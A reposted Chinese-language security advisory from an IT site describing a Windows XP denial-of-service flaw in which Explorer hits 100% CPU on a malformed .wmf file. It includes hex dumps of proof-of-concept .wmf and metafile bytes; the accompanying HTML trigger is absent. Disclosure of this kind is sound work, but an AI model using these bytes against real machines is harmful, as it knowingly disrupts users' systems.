WindowsXP畸形.wmf文件本地拒绝服务漏洞

	设为首页		友情链接
	在线留言		发表文章
	加入收藏		广告联系

服务器

数据库

Solaris

专题：

SOA

您现在的位置： IT公社 IT community >> 私服架设 >> 千年私服 >> 教程正文

用户登录

新用户注册

专题栏目

　　WindowsXP畸形.wmf文件本地拒绝服务漏洞

WindowsXP畸形.wmf文件本地拒绝服务漏洞

受影响系统：
Microsoft Windows XP
描述：
--------------------------------------------------------------------------------
Windows XP是微软发布的非常流行的操作系统。

如果攻击者能够创建恶意的.wmf文件（该文件必须有.wmf扩展名，否则不会导致攻击）并将其放置于任意文件夹中的话，则用户在用Windows Explorer打开了该文件夹并把鼠标移到了该畸形文件上时，CPU使用率就会达到100%并一直保持这种状态。在这种情况下用户仍可使用explorer，但性能很低，即使关闭了所有explorer窗口也不会缓解，必须重启explorer.exe才能将CPU使用率降至正常。除了上述方法外双击文件也会产生相同的效果。

<*来源：liquid （liquid@cyberspace.org）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111231106513788&w=2
*>

测试方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

.wmf文件：

00000000 :01 00 09 00 00 03 0E 00 - 00 00 01 00 05 00 00 00
00000010 :00 00 00 00 00 00 0B 02 - FF FF FF FF

除此之外还需要可确定位置的元文件（metafile）：

00000000 :D7 CD C6 9A 00 00 00 00 - 00 00 A1 21 EC 29 EC 09
00000010 :00 00 00 00 B0 56 01 00 - 09 00 00 03 0E 00 00 00
00000020 :01 00 05 00 00 00 00 00 - 00 00 00 00 0B 02 00 00
00000030 :00 00

将该文件保存为test.wmf，并在同一文件夹内保存以下.html：

如果打开了html文档，就会试图生成test.wmf，CPU使用率达到100%，必须重启IE才能缓解。

建议：
--------------------------------------------------------------------------------
厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/windowsxp/default.asp

频道声明：本频道的文章除部分特别声明禁止转载的专稿外，可以自由转载.但请务必注明出出处和原始作者文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名	录入时间:2006-11-3
信息来源:不详	投稿信箱:itqoo@126.com

教程录入：admin 责任编辑：admin

上一个教程： Sun AnswerBook2多个安全漏洞

下一个教程： Microsoft Jet DB引擎数据验证漏洞

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

- 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言 - 版权声明 - 联系方式 -
	IT公社版权所有粤ICP备05127012号
	Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved 推荐分辨率 1024*768
	联系站长：E-Mail:itqoo@126.com MSN:urchincc@hotmail.com QQ:
	特别感谢:亿太网络提供空间支持